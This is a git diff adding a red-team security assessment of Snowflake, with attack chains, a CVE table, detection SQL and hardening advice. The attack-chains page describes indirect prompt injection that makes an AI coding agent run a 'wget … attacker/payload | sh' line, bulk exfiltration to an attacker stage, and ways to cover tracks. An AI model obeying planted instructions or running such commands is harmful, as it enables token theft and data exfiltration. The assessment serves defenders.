**`SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY`** — authentication outcomes, + client app, IP, MFA factor. The first port of call for credential abuse. + Note the latency: ACCOUNT_USAGE views can be up to ~45 minutes behind. +2. **`SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY`** — every SQL statement, including + the text. Watch for `COPY INTO @`, `CREATE SHARE`, `ALTER USER`, + `CREATE NETWORK POLICY`, `CREATE TASK`, `CREATE PROCEDURE ... EXECUTE AS OWNER`. +3. **`SNOWFLAKE.ACCOUNT_USAGE.STAGES` / `SHARES` / `INTEGRATIONS`** — object + inventory. Diff against a baseline to find new exfil channels. +4. **`SNOWFLAKE.ACCOUNT_USAGE.SESSIONS`** — pair with LOGIN_HISTORY to track + session lifetimes. +5. **Snowflake Trail** — newer audit surface, lower latency than Account + Usage; some events that don't show up in ACCOUNT_USAGE are visible here. +6. **Cortex AI audit events** — usage logs for Cortex Code, Analyst, Search, + Agents. Crucial for prompt-injection detection: looking for the *content* + of inbound context, not just the outbound action. +7. **Trust Center scanner output** — built-in misconfiguration detection; + should be tuned and consumed by the SOC, not just admins. + +Blind spots worth being explicit about: + +- ACCOUNT_USAGE latency makes it unsuitable for real-time response; pair + with Snowflake Trail or with streaming-ingest of `INFORMATION_SCHEMA` + views. +- Query text in `QUERY_HISTORY` is plain SQL but does not capture + *bind parameter* values for prepared statements — an attacker who issues + parameterized DML has lower-fidelity audit than one issuing inline DML. +- Cross-region replication of audit data is not automatic; an attacker who + triggers a region-specific exfil and then deletes their own session may + leave forensics in a region the customer doesn't routinely query. + +--- + +## Open Research Threads + +Things to investigate further before the deliverable report is final: + +- [ ] Native Apps: is there a way to enumerate every installed Native App's + requested grants without ACCOUNTADMIN? (For a defender's + shared-responsibility check.) +- [ ] Snowflake Trail event coverage diff vs. ACCOUNT_USAGE — produce a + side-by-side mapping. +- [ ] Programmatic Access Tokens — full scope grammar, rotation defaults, + revocation semantics. +- [ ] SPCS: what does egress filtering actually inspect? DNS-only, SNI, + full L7? +- [ ] Cortex Guardrails: false-positive / false-negative characteristics + on a corpus of public indirect-prompt-injection payloads. +- [ ] OpenCVE page 2 — additional historical CVEs not yet captured (the + automated fetch only returned page 1). + +--- + +## Deliverable Plan + +Phase 1 (this document): findings notes, kept current as research progresses. + +Phase 2: Build a static web-app version of the assessment under +`reports/snowflake-platform-assessment/`, mirroring the Databricks report's +section organization (executive summary → architecture → attack surface → +CVE deep dive → detection gaps → recommendations) but as a plain HTML/CSS/JS +bundle rather than a Streamlit app. A `build.py` will concatenate +section fragments under `src/` into a single `index.html` — same authoring +pattern as the Databricks report, different output format. + +Phase 3: Wire any newly-developed Snowflake-specific tooling into the +existing `tools/` tree under the matching parent (e.g., +`tools/cloud-identity/snowflake/`, `tools/llm-attacks/cortex/`) with +detection pairing per the repo's hard rules. + +--- + +## References + +### Primary Sources (Vendor) + +- Snowflake — [Native Apps security overview](https://docs.snowflake.com/en/developer-guide/native-apps/security-overview). + Defines NAAAPS, the four threat categories (data exfil, compute abuse, + ransomware, privilege escalation), and the provider-side security-review + workflow. +- Snowflake — [Native Apps CVE policy](https://docs.snowflake.com/en/developer-guide/native-apps/security-cve). + Three-criterion CVE gate for app publication; no specific CVE list. +- Snowflake — [Securing a Native App with Snowpark Container Services](https://docs.snowflake.com/en/developer-guide/native-apps/security-na-spcs). + Container-image scanning, network isolation, Product-Security-team review + requirement for container listings. +- Snowflake — [Snowflake Native Apps security (blog)](https://www.snowflake.com/en/blog/snowflake-native-apps-security/). + Code-protection claims (provider IP), permissions framework, package + curation via Anaconda. +- Snowflake — [Security governance practices for Snowflake Intelligence](https://www.snowflake.com/en/blog/security-governance-practices-snowflake-intelligence/). + Cortex defense-in-depth, Horizon Catalog, two-tier model access control, + Cortex Analyst SELECT-only constraint, agent inherits user permissions. +- Snowflake — [MFA default for new accounts](https://www.snowflake.com/en/blog/multi-factor-identification-default/). +- Snowflake — [Mandatory MFA enforcement](https://www.snowflake.com/en/blog/snowflake-admins-enforce-mandatory-mfa/). +- Snowflake — [Trust Center overview](https://docs.snowflake.com/en/user-guide/trust-center/overview). +- Snowflake — [Planning for deprecation of single-factor password sign-ins](https://docs.snowflake.com/en/user-guide/security-mfa-rollout). + +### Primary Sources (Independent Research) + +- PromptArmor — [Snowflake Cortex AI escapes sandbox and executes malware](https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware). + Disclosure of CVE-2026-6442 with the exploitation walkthrough used in + Chain B above. +- Simon Willison — [Snowflake Cortex AI escapes sandbox and executes malware (commentary)](https://simonwillison.net/2026/Mar/18/snowflake-cortex-ai/). +- Mandiant / Google Cloud — [UNC5537 targets Snowflake customer instances for data theft and extortion](https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion). + Foundational incident write-up: three-gap control failure pattern, FROSTBITE + recon tooling, customer notification numbers. +- Hunters Security — [Investigating UNC5537: Snowflake database threat campaign](https://www.hunters.security/en/blog/detect-threats-in-snowflake-unc5537). + Detection-engineering perspective on the same campaign. +- Wikipedia — [Snowflake data breach](https://en.wikipedia.org/wiki/Snowflake_data_breach). + +### CVE Tracking + +- OpenCVE — [vendor:snowflake](https://app.opencve.io/cve/?vendor=snowflake). + Authoritative cross-reference for everything in the CVE inventory above. +- Snowflake JDBC release notes — [2025](https://docs.snowflake.com/en/release-notes/clients-drivers/jdbc-2025) + and [2026](https://docs.snowflake.com/en/release-notes/clients-drivers/jdbc-2026). + Dependency-CVE backfill (Netty, BouncyCastle, grpc-java) plus Snowflake-owned + fixes. + +### Companion Material Inside This Repo + +- [`reports/databricks-apps-assessment/`](../../reports/databricks-apps-assessment/) + — sibling deliverable; same threat-modeling frame, different platform. +- [`docs/analysis/entra-2026-state-of-play.md`](entra-2026-state-of-play.md) + — relevant for Chain D (federated-IdP compromise). +- [`docs/analysis/aitm-kit-market-2026.md`](aitm-kit-market-2026.md) + — relevant for Chain A and Chain D credential-theft initial access. +- [`docs/methodology/llm-attack-modeling.md`](../methodology/llm-attack-modeling.md) + — Cortex AI attack chain frames directly extend this methodology. +- [`docs/methodology/ci-cd-attack-modeling.md`](../methodology/ci-cd-attack-modeling.md) + — relevant for Chain C (provider-account compromise). diff --git a/reports/snowflake-platform-assessment/README.md b/reports/snowflake-platform-assessment/README.md new file mode 100644 index 0000000..79e94e7 --- /dev/null +++ b/reports/snowflake-platform-assessment/README.md @@ -0,0 +1,34 @@ +# Snowflake Platform — Security Assessment + +Companion deliverable to +[`reports/databricks-apps-assessment/`](../databricks-apps-assessment/) covering +the Snowflake data cloud platform. Working notes are in +[`docs/analysis/snowflake-platform-attack-surface-2026.md`](../../docs/analysis/snowflake-platform-attack-surface-2026.md). + +Unlike the Databricks report (a concatenated Streamlit app), this is a set of +**linked static HTML pages** with no build step. Edit the pages directly; the +CI pipeline copies the directory as-is. + +## Pages + +| File | Content | +|------|---------| +| `index.html` | Executive summary, key findings, scope | +| `threat-landscape.html` | UNC5537 incident analysis, post-2024 hardening, 2026 threat actor profiles | +| `cve-inventory.html` | Authoritative CVE table (sourced from OpenCVE), class analysis | +| `attack-chains.html` | End-to-end attack chains A–E | +| `detection.html` | Audit sources, blind spots, detection queries | +| `recommendations.html` | Prioritized controls, all native to Snowflake | + +## Serve locally + +```bash +cd reports/snowflake-platform-assessment +python -m http.server 8080 +# open http://localhost:8080/ +``` + +## Adding a new page + +1. Create `.html` — copy the boilerplate from any existing page (head, nav, footer, active-link script). +2. Add an `Title` entry to the nav in **every** page. diff --git a/reports/snowflake-platform-assessment/assets/style.css b/reports/snowflake-platform-assessment/assets/style.css new file mode 100644 index 0000000..f8b0570 --- /dev/null +++ b/reports/snowflake-platform-assessment/assets/style.css @@ -0,0 +1,224 @@ +/* Snowflake Platform Assessment — shared styles */ + +:root { + --fg: #111827; + --muted: #6b7280; + --bg: #ffffff; + --bg-alt: #f9fafb; + --bg-soft: #f3f4f6; + --border: #e5e7eb; + --border-strong: #d1d5db; + --accent: #2563eb; + --accent-soft: #eff6ff; + --accent-soft-border: #bfdbfe; + --danger: #991b1b; + --danger-soft: #fef2f2; + --danger-soft-border: #fecaca; + --warn: #92400e; + --warn-soft: #fffbeb; + --warn-soft-border: #fde68a; + --ok: #166534; + --ok-soft: #f0fdf4; + --ok-soft-border: #bbf7d0; +} + +* { box-sizing: border-box; } + +html, body { + margin: 0; + padding: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; + font-size: 14px; + line-height: 1.55; + color: var(--fg); + background: var(--bg); +} + +.layout { + display: grid; + grid-template-columns: 240px minmax(0, 1fr); + min-height: 100vh; +} + +aside.nav { + position: sticky; + top: 0; + align-self: start; + height: 100vh; + overflow-y: auto; + padding: 18px 18px 24px; + border-right: 1px solid var(--border); + background: var(--bg-alt); + font-size: 13px; +} + +aside.nav .nav-title { + font-weight: 600; + font-size: 13px; + text-transform: uppercase; + letter-spacing: 0.05em; + color: var(--muted); + margin-bottom: 12px; +} + +aside.nav ol { + list-style: none; + padding: 0; + margin: 0; + counter-reset: section; +} + +aside.nav ol li { + margin-bottom: 6px; +} + +aside.nav ol li a { + display: block; + padding: 6px 10px; + border-radius: 4px; + color: var(--fg); + text-decoration: none; + border-left: 2px solid transparent; +} + +aside.nav ol li a:hover { + background: var(--bg-soft); + border-left-color: var(--accent); +} + +aside.nav ol li a.active { + background: var(--accent-soft); + border-left-color: var(--accent); + color: var(--accent); + font-weight: 500; +} + +main { + padding: 32px 48px 64px; + max-width: 1100px; +} + +section.page { + margin-bottom: 56px; + padding-top: 8px; + scroll-margin-top: 16px; +} + +h1, h2, h3, h4 { color: var(--fg); } + +h1 { font-size: 24px; margin: 0 0 6px; letter-spacing: -0.01em; } +h2 { font-size: 18px; margin: 24px 0 10px; padding-top: 12px; border-top: 1px solid var(--border); } +h2:first-of-type { border-top: 0; padding-top: 0; } +h3 { font-size: 15px; margin: 18px 0 6px; } +h4 { font-size: 13px; margin: 12px 0 4px; color: var(--muted); text-transform: uppercase; letter-spacing: 0.05em; } + +p { margin: 8px 0; } + +.section-subtitle { + color: var(--muted); + font-size: 13px; + margin-bottom: 16px; +} + +.callout { + padding: 12px 16px; + border-radius: 6px; + font-size: 13px; + line-height: 1.6; + margin: 12px 0; + border: 1px solid var(--border); +} +.callout.info { background: var(--accent-soft); border-color: var(--accent-soft-border); color: #1e40af; } +.callout.warn { background: var(--warn-soft); border-color: var(--warn-soft-border); color: var(--warn); } +.callout.danger { background: var(--danger-soft); border-color: var(--danger-soft-border); color: var(--danger); } +.callout.ok { background: var(--ok-soft); border-color: var(--ok-soft-border); color: var(--ok); } + +table { + width: 100%; + border-collapse: collapse; + font-size: 13px; + margin: 12px 0 18px; +} + +thead th { + text-align: left; + padding: 8px 12px; + font-size: 11px; + text-transform: uppercase; + letter-spacing: 0.05em; + color: var(--muted); + border-bottom: 2px solid var(--border); + background: var(--bg-alt); +} + +tbody td { + padding: 10px 12px; + border-bottom: 1px solid var(--border); + vertical-align: top; +} + +tbody tr:last-child td { border-bottom: 0; } + +.sev-high { color: var(--danger); font-weight: 600; } +.sev-medium { color: var(--warn); font-weight: 600; } +.sev-low { color: var(--muted); font-weight: 500; } + +code, pre { + font-family: "SF Mono", ui-monospace, Menlo, Monaco, Consolas, monospace; + font-size: 12.5px; +} + +code { + background: var(--bg-soft); + padding: 1px 4px; + border-radius: 3px; +} + +pre { + background: var(--bg-soft); + padding: 12px 14px; + border-radius: 6px; + overflow-x: auto; + border: 1px solid var(--border); + line-height: 1.45; +} + +pre code { background: transparent; padding: 0; } + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +ul, ol { margin: 8px 0; padding-left: 22px; } +li { margin: 4px 0; } + +.kv { + display: grid; + grid-template-columns: 200px 1fr; + gap: 6px 16px; + margin: 12px 0; + font-size: 13px; +} +.kv .k { color: var(--muted); } + +.chain { + border: 1px solid var(--border); + border-radius: 6px; + margin: 14px 0; + background: var(--bg-alt); +} +.chain header { + padding: 10px 14px; + border-bottom: 1px solid var(--border); + font-weight: 600; + font-size: 13px; + background: var(--bg); +} +.chain .body { padding: 12px 16px; } + +footer.site { + margin-top: 48px; + padding-top: 16px; + border-top: 1px solid var(--border); + font-size: 12px; + color: var(--muted); +} diff --git a/reports/snowflake-platform-assessment/attack-chains.html b/reports/snowflake-platform-assessment/attack-chains.html new file mode 100644 index 0000000..da57089 --- /dev/null +++ b/reports/snowflake-platform-assessment/attack-chains.html @@ -0,0 +1,134 @@ + + + + + + Attack Chains — Snowflake Assessment + + + +
+ +
+
+

Attack chains

+

End-to-end adversary paths from initial access to impact.

+ +
+
Chain A — Credential theft to bulk exfil (replays UNC5537)
+
+
    +
  1. Acquire a Snowflake credential from an infostealer log, or capture a federated-user session cookie via an AiTM proxy (Tycoon2FA/Sneaky2FA-class kit in tools/phishing/aitm-kits/).
  2. +
  3. Validate via SnowSQL or the Snowflake REST login endpoint. Confirm absent MFA (LOGIN_HISTORY.FIRST_AUTHENTICATION_FACTOR = 'PASSWORD') and absent network policy (SHOW NETWORK POLICIES returns empty for this user).
  4. +
  5. Enumerate databases, schemas, roles, and warehouse quotas. Identify any role with IMPORTED PRIVILEGES on SNOWFLAKE.ACCOUNT_USAGE.
  6. +
  7. Bulk exfil: COPY INTO @<attacker_stage> where the stage points at attacker-controlled S3. Use wide aggregate queries to reduce row count in query history.
  8. +
  9. Cover: ALTER SESSION SET QUERY_TAG = 'etl-routine'; schedule exfil at low-traffic hours via a Snowflake Task.
  10. +
+
+ Detection: anomalous COPY INTO @external_stage volume in QUERY_HISTORY; + new external stage not in baseline; login from unexpected IP; FIRST_AUTHENTICATION_FACTOR = 'PASSWORD'. +
+
+
+ +
+
Chain B — Cortex Code indirect injection to credential theft (CVE-2026-6442 class)
+
+
    +
  1. Plant an injection payload in a public artifact the target developer will ask Cortex Code to review: a GitHub README, a PyPI description, a Cortex Search-indexed document. The payload is a convincingly-formatted "note to AI" that instructs the agent to run a shell command.
  2. +
  3. Developer runs Cortex Code: "review this repo." The agent fetches the content and interprets the injection as a user instruction.
  4. +
  5. Prior to Cortex Code CLI 1.0.25, command validation did not block the injected construction. The CLI executes a command equivalent to wget -qO- https://attacker/payload | sh.
  6. +
  7. The fetched script reads cached Snowflake tokens from the developer's credential store and exfiltrates them.
  8. +
  9. Attacker replays the token — typically carries a high-privilege data engineering role.
  10. +
+
+ Detection: Cortex Code CLI version < 1.0.25; unusual outbound HTTP from a developer host + shortly after a Cortex session; new Snowflake sessions from an IP outside the developer's historic range. +
+
+ Cortex Analyst is constrained to SELECT-only queries. However, Cortex Agents can wrap Analyst together + with stored procedures or UDFs via tool calls — the SELECT restriction applies to Analyst's generated SQL, + not to the agent's full action space. +
+
+
+ +
+
Chain C — Native App Marketplace supply-chain
+
+
    +
  1. Compromise a Marketplace provider account via credential phish or a GitHub-Actions-OIDC pivot against the provider's CI/CD (see docs/methodology/ci-cd-attack-modeling.md).
  2. +
  3. Push a new app version with a malicious owner-rights stored procedure or a UDF that runs once on first invocation and then self-removes from the Task schedule.
  4. +
  5. NAAAPS scans the new version. If the payload is obfuscated or staged (UDF fetches a second stage from an EXTERNAL ACCESS INTEGRATION the app was already authorized for), it may pass automated review.
  6. +
  7. Consumers with auto-update enabled receive the update without re-consent. The procedure runs with the privileges the consumer granted at install time.
  8. +
  9. Exfil goes through the EXTERNAL ACCESS INTEGRATION already authorized for the app — indistinguishable from legitimate traffic in egress logs.
  10. +
+
+ Detection: monitor ACCOUNT_USAGE.APPLICATIONS for unexpected version bumps; + compare object manifests before and after updates; alert on new or modified EXTERNAL ACCESS INTEGRATIONS + in any installed app. +
+
+
+ +
+
Chain D — Federated-IdP compromise to Snowflake
+
+
    +
  1. Compromise the customer's Entra ID or Okta tenant — Golden SAML, service-principal abuse, or device-code phishing (see tools/cloud-identity/golden-saml/ and docs/methodology/device-code-phishing-2026.md).
  2. +
  3. Forge a SAML assertion or OIDC token for a high-privileged Snowflake user (ACCOUNTADMIN, SECURITYADMIN, or a role with IMPORTED PRIVILEGES).
  4. +
  5. Authenticate to Snowflake via the federated path. Network policies gating the federated path are often less restrictive than those on direct-login users — this is the typical gap.
  6. +
  7. Proceed from Chain A step 3 with full administrative privileges.
  8. +
+
+ Detection: SAML assertion without a corresponding IdP sign-in event; + LOGIN_HISTORY.AUTHENTICATION_METHOD = 'SAML' for a user that normally uses key-pair; + geographic anomaly on the federated session. +
+
+
+ +
+
Chain E — External function / storage integration cross-cloud pivot
+
+
    +
  1. Compromise a Snowflake user with USAGE on a Storage Integration that binds to an AWS IAM role.
  2. +
  3. Create an external stage using the integration; enumerate accessible S3 buckets via LIST @stage/. If the IAM role has s3:* on a broad prefix, this is a full cross-account exfil channel.
  4. +
  5. Alternatively: invoke an External Function backed by a Lambda whose execution role has broad AWS permissions. This pivots the attacker into that role's full cloud-account access — IAM enumeration, Secrets Manager reads, EC2 lateral movement.
  6. +
  7. Plant data in a customer S3 bucket to poison downstream pipelines that consume from it (secondary supply-chain impact).
  8. +
+
+ Detection: ACCOUNT_USAGE.STAGES shows a new external stage pointing to an + unexpected bucket; AWS CloudTrail shows the integration role accessing buckets outside documented pipeline paths; + EXTERNAL_FUNCTIONS_HISTORY shows invocation spikes or off-hours calls. +
+
+
+
+ + +
+
+ + + diff --git a/reports/snowflake-platform-assessment/cve-inventory.html b/reports/snowflake-platform-assessment/cve-inventory.html new file mode 100644 index 0000000..1c1eca9 --- /dev/null +++ b/reports/snowflake-platform-assessment/cve-inventory.html @@ -0,0 +1,188 @@ + + + + + + CVE Inventory — Snowflake Assessment + + + +
+ +
+
+

CVE inventory

+

+ Source of truth: OpenCVE — vendor:snowflake. + Cross-referenced against Snowflake's JDBC release notes and NVD. +

+ +

High and medium severity — Snowflake-owned components

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CVEComponentCVSSSummary and red-team relevance
CVE-2026-6442Cortex Code CLI8.3 H + Improper validation of shell commands — the agentic CLI executed a wget | sh-style command + issued via indirect prompt injection (malicious README in a reviewed repository). The executed script + read cached Snowflake tokens from disk and used them to issue arbitrary SQL. Fixed in Cortex Code CLI + 1.0.25 (2026-02-28). Disclosed by PromptArmor. +
Relevance: canonical chain for AI-agent exploitation; token theft from developer host without endpoint compromise. +
CVE-2025-24789Snowflake JDBC7.8 H + Untrusted search-path / writeable PATH directory on Windows. A local attacker who can plant a binary + earlier in PATH gains privilege escalation from the JDBC process. Affects shared developer workstations + and CI agents. +
Relevance: local privilege escalation from any host running an unpatched JDBC driver. +
CVE-2023-30535Snowflake JDBC7.3 H + Command injection via a malicious SSO server response. The JDBC driver passed an SSO redirect URL to a + local browser launcher without sanitization. +
Relevance: the SSO integration path is an RCE surface, not just an auth surface. +
CVE-2023-34232Snowflake Connector (Node.js)7.3 H + Same class as CVE-2023-30535 — browser-launch command injection through the SSO redirect in the Node.js connector. +
Relevance: the SSO command-injection class affects multiple connectors; check that all connectors in the stack are patched. +
CVE-2024-43382Snowflake JDBC5.9 M + Client-side encryption silently disabled on PUT uploads under a specific configuration combination. + Data uploaded to external stages was sent unencrypted despite configuration intent. +
Relevance: data-in-transit confidentiality failure; relevant to compliance posture and to attackers with network visibility. +
CVE-2022-35918Streamlit6.5 M + Directory traversal via custom components. Affects both standalone Streamlit and the runtime bundled with Snowflake. +
Relevance: Streamlit-in-Snowflake is the same codebase; confirm runtime version matches the patched release. +
CVE-2023-27494Streamlit5.9 M + Reflected XSS via URL parameter handling. Attackers can craft links that execute JavaScript in the context of a Streamlit app. +
Relevance: XSS in Streamlit-in-Snowflake can steal session tokens or issue SQL via the app's warehouse connection. +
CVE-2026-33682Streamlit4.7 M + SSRF on Windows via malicious UNC paths. +
Relevance: SSRF from Streamlit-in-Snowflake reaches the Snowflake worker network. +
CVE-2025-24791Snowflake Connector (Python)4.4 M + Temporary credential cache written world-readable on Linux. A local user on a shared host can read another user's cached token. +
Relevance: high-value on shared CI runners or multi-tenant Airflow hosts. +
CVE-2024-28851Hive MetaStore Connector4.0 MElevation of privilege via content replacement in a helper script. Relevant to Iceberg-era Snowflake-Hive MetaStore deployments.
+ +

Lower severity — connector stack secret-leakage cohort (2025)

+

+ These CVEs share a class: secrets written to debug logs, or race conditions on temporary files containing credentials. + Individually low CVSS, but any Snowflake connector host with debug logging enabled leaks credentials + to the log file — and log files are frequently shipped to a SIEM with broad read access. +

+ + + + + + + + + + + + + + + + + + +
CVEComponentClass
CVE-2025-27496Snowflake JDBCMaster key to debug log during GET/PUT
CVE-2025-46329Connector for C/C++Master key to debug log
CVE-2025-46326.NET ConnectorTOCTOU race — logging-config verification
CVE-2025-46327Go connector (gosnowflake)TOCTOU — logging-config
CVE-2025-46328Node.js ConnectorTOCTOU — logging-config
CVE-2025-46330Connector for C/C++Malformed-request retry hang (DoS)
CVE-2026-3293Snowflake JDBCReDoS in proxy route handler
CVE-2022-42965Snowflake ConnectorReDoS in file-transfer type method
+ +

A note on server-side CVE coverage

+
+ The CVE record is dominated by client-side components (drivers, connectors, the Cortex Code CLI). + Snowflake's multi-tenant service resolves server-side issues without CVEs. An assessment cannot rely on the + CVE database alone to characterize server-side risk; the Snowflake Trust Center and platform security + bulletins are the authoritative signal for service-side posture. +
+
+ + +
+
+ + + diff --git a/reports/snowflake-platform-assessment/detection.html b/reports/snowflake-platform-assessment/detection.html new file mode 100644 index 0000000..2e75d9d --- /dev/null +++ b/reports/snowflake-platform-assessment/detection.html @@ -0,0 +1,141 @@ + + + + + + Detection Surface — Snowflake Assessment + + + +
+ +
+
+

Detection surface

+

What the platform exposes, what it hides, and where to build detection.

+ +

Primary audit sources

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SourceLatencyKey signals
ACCOUNT_USAGE.LOGIN_HISTORY~45 minAuthentication outcomes, client app, source IP, MFA factor. Watch for FIRST_AUTHENTICATION_FACTOR = 'PASSWORD' and logins from new IPs.
ACCOUNT_USAGE.QUERY_HISTORY~45 minFull SQL text for every statement. Alert on: COPY INTO @<external_stage>, CREATE SHARE, ALTER USER, CREATE NETWORK POLICY, CREATE TASK, CREATE PROCEDURE … EXECUTE AS OWNER.
ACCOUNT_USAGE.STAGES~45 minObject inventory for all stages. Diff against baseline to detect new external stages.
ACCOUNT_USAGE.APPLICATIONS~45 minInstalled Native Apps with version history. Monitor for unexpected version bumps.
Snowflake TrailNear real-timeLower latency than Account Usage; covers some events not visible there. Prefer for real-time alerting pipelines.
Trust Center scannerOn-demandBuilt-in misconfiguration detection (missing MFA, no network policy, over-privileged service users). Output should feed the SOC, not just admin dashboards.
Cortex AI audit eventsVariesUsage logs for Cortex Code, Analyst, Search, Agents. Essential for prompt-injection detection — visibility into inbound context content, not just outbound actions.
+ +

Blind spots

+
+ ACCOUNT_USAGE latency — the ~45-minute lag makes Account Usage unsuitable for real-time response. Pair with Snowflake Trail or a streaming ingest of INFORMATION_SCHEMA views for sub-minute alerting. +
+
+ Bind parameters in QUERY_HISTORY — query text shows the template, not parameter values. An attacker using parameterized DML has lower-fidelity audit than one using inline SQL. Detection rules keyed on table names or data patterns in query text may miss parameterized exfil. +
+
+ Cross-region audit gap — replication of Account Usage and Trail across regions is not automatic. An attacker targeting a secondary region may leave forensics in a region the customer doesn't routinely query. Confirm audit replication is configured. +
+
+ Cortex AI context visibility — Cortex Analyst and Agents pass data through Anthropic or Azure-OpenAI models. The payload leaving the Snowflake boundary during inference is not fully documented. Customers treating Snowflake as an in-boundary data store should understand what flows to third-party LLM endpoints. +
+ +

High-value detection queries

+
-- New external stages created in the last 24 hours
+SELECT stage_name, stage_url, created
+FROM SNOWFLAKE.ACCOUNT_USAGE.STAGES
+WHERE stage_type = 'External'
+  AND created > DATEADD(hour, -24, CURRENT_TIMESTAMP)
+ORDER BY created DESC;
+
+-- Logins without MFA (human users, last 7 days)
+SELECT user_name, client_ip, login_time, first_authentication_factor
+FROM SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY
+WHERE login_time > DATEADD(day, -7, CURRENT_TIMESTAMP)
+  AND first_authentication_factor = 'PASSWORD'
+  AND second_factors IS NULL
+ORDER BY login_time DESC;
+
+-- COPY INTO external stage (potential bulk exfil)
+SELECT user_name, query_text, start_time, bytes_written_to_result
+FROM SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY
+WHERE start_time > DATEADD(day, -1, CURRENT_TIMESTAMP)
+  AND (query_text ILIKE '%COPY INTO @%s3://%'
+       OR query_text ILIKE '%COPY INTO @%azure://%')
+ORDER BY bytes_written_to_result DESC;
+
+-- New OWNER-rights stored procedures
+SELECT procedure_name, procedure_language, created, execute_as
+FROM SNOWFLAKE.ACCOUNT_USAGE.PROCEDURES
+WHERE created > DATEADD(day, -7, CURRENT_TIMESTAMP)
+  AND execute_as = 'OWNER';
+
+-- Native App version changes
+SELECT application_name, source_location, version, patch, created
+FROM SNOWFLAKE.ACCOUNT_USAGE.APPLICATIONS
+ORDER BY created DESC
+LIMIT 50;
+
+ + +
+
+ + + diff --git a/reports/snowflake-platform-assessment/index.html b/reports/snowflake-platform-assessment/index.html new file mode 100644 index 0000000..8dd1de2 --- /dev/null +++ b/reports/snowflake-platform-assessment/index.html @@ -0,0 +1,116 @@ + + + + + + Snowflake Platform — Security Assessment + + + +
+ +
+
+

Snowflake Platform — Security Assessment

+

Architecture review, attack-surface analysis, CVE inventory, and detection-gap analysis for enterprise Snowflake deployments.

+ +
+ Purpose: This assessment was built as a red-team exercise to illustrate the worst-case scenarios + facing enterprise Snowflake tenants, covering credential theft, AI-agent exploitation, supply-chain compromise via the + Native Apps Marketplace, and cross-cloud identity pivots. The goal is to inform organizational controls, detection + engineering, and governance decisions. All exploit chains target publicly disclosed, patched CVEs. No vendor systems + were tested without authorization. +
+ +
+ Shared responsibility model: Snowflake provides strong controls — + MFA enforcement (mandatory for human users since April 2025), Trust Center, network policies, Cortex AI Guardrails, + and the Native App Anti-Abuse Pipeline. The findings here reflect gaps in customer adoption and + configuration choices, not deficiencies in the platform itself. Every recommendation can be + implemented using Snowflake's native tooling. +
+ +

Key findings

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FindingDetail
Cortex AI sandbox escape (CVE-2026-6442)Indirect prompt injection via an untrusted repository README caused Cortex Code CLI to execute + arbitrary shell commands and exfiltrate cached Snowflake tokens. Fixed in Cortex Code CLI 1.0.25 + (Feb 28 2026), disclosed by PromptArmor.
UNC5537 — 165 tenants compromised (2024)Financially motivated threat actor exfiltrated data from organizations globally using infostealer-harvested credentials against Snowflake accounts without MFA or network policies. AT&T, Ticketmaster, Santander among confirmed victims.
JDBC privilege escalation (CVE-2025-24789)Untrusted PATH search on Windows allowed privilege escalation from the JDBC driver process. CVSS 7.8. Affects any host running the driver in a shared environment.
Key-pair credentials under-protectedService-user private keys found in CI runners, dbt profiles, and Airflow connections are + high-value exfil targets. Network policies are not enforced on key-pair users by default.
Native Apps consent model has no approval workflowA Marketplace app requesting MODIFY DATABASE grants triggers a one-time consent dialog. + Auto-update pushes new code without re-consent. A compromised provider account silently + updates every consumer tenant.
External functions / storage integrations widen cross-cloud blast radiusOver-privileged IAM roles bound to Storage Integrations enable S3/Azure/GCS enumeration and + exfiltration as a Snowflake warehouse privilege escalation path.
Debug-log secret leakage across the connector stackJDBC, Python, Node.js, C/C++ connectors all had CVEs in the 2025–2026 cohort for writing + client-side encryption master keys or cached tokens to debug logs.
+ +

Scope

+
+ Platform Snowflake (multi-cloud: AWS, Azure, GCP) + Features in scope Authentication, Cortex AI (Code, Analyst, Search, Agents), Native Apps, SPCS, Streamlit-in-Snowflake, External Functions, Storage Integrations, Data Sharing, Tasks/UDFs/Procedures + CVE window 2022–2026 (Snowflake-attributed components) + Threat model frameFinancially motivated external attacker; malicious insider; compromised developer workstation; supply-chain attacker + Detection frame Account Usage views, Snowflake Trail, Trust Center, SIEM integration + Tooling reuse cloud-identity, llm-attacks, phishing/aitm-kits, supply-chain modules from this repository +
+
+ + +
+
+ + + diff --git a/reports/snowflake-platform-assessment/recommendations.html b/reports/snowflake-platform-assessment/recommendations.html new file mode 100644 index 0000000..09c156a --- /dev/null +++ b/reports/snowflake-platform-assessment/recommendations.html @@ -0,0 +1,131 @@ + + + + + + Recommendations — Snowflake Assessment + + + +
+ +
+
+

Recommendations

+

Prioritized controls, all implementable with Snowflake's native tooling.

+ +

Immediate — close the UNC5537 gap pattern

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ControlImplementation
Enforce MFA on all human usersSet AUTHENTICATION POLICY with MFA_ENROLLMENT = REQUIRED at account level. Verify no user bypass exceptions exist in LOGIN_HISTORY.
Network policy on every service userAll key-pair and OAuth service users should have a network policy limiting source IPs to known CI/orchestration ranges. Use Trust Center to enumerate users without policies.
Rotate all credentials older than 90 daysFocus first on key-pair private keys in CI runners, dbt profiles, and Airflow connections — the highest-value exfil targets most likely to appear in old infostealer logs.
Update all connectors and the Cortex Code CLIPatch CVE-2025-24789 (JDBC), CVE-2025-24791 (Python connector), CVE-2023-30535/34232 (JDBC/Node SSO injection), and CVE-2026-6442 (Cortex Code CLI ≥ 1.0.25).
Disable debug logging in production connectorsDebug-level connector logging writes encryption master keys and cached tokens to log files. Set log_level = INFO in all production configurations.
+ +

Short-term — reduce blast radius and cross-cloud exposure

+ + + + + + + + + + + + + + + + + + + + + + + + + +
ControlImplementation
Scope Storage Integration IAM rolesEvery Storage Integration should bind to an IAM role with access scoped to the minimum necessary bucket prefix. Tag-based access policies on S3 are the recommended enforcement mechanism.
